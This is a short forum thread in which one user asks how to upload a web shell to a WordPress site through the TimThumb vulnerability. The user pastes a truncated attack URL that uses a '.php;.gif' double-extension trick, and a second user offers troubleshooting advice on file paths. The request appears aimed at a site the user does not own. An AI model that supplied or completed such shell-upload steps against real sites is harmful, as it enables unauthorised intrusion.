[smoochy]

Hi guys...

is there any person here who knows how to upload shell in timthumb?? i got the vulnerable link of the site and i search about uploading shell in timthumb...

i used this >>> http://site/wp-content/themes/themesname...L.php;.gif

but every time im doing that its give me an error...

thanks in advance...

[The Real Slim Shady]

This vulnerability is a few years old now isnt it? are you sure the wordpress you are testing is vulnerable?

And what error do you get? file not found? a quick google search and it appears that that timthumb.php is in another directory, /scripts/timthumb.php, not /functions/timthumb.php from what i saw on one site...

but any ways... when you get an error and ask for help... you should always post the error.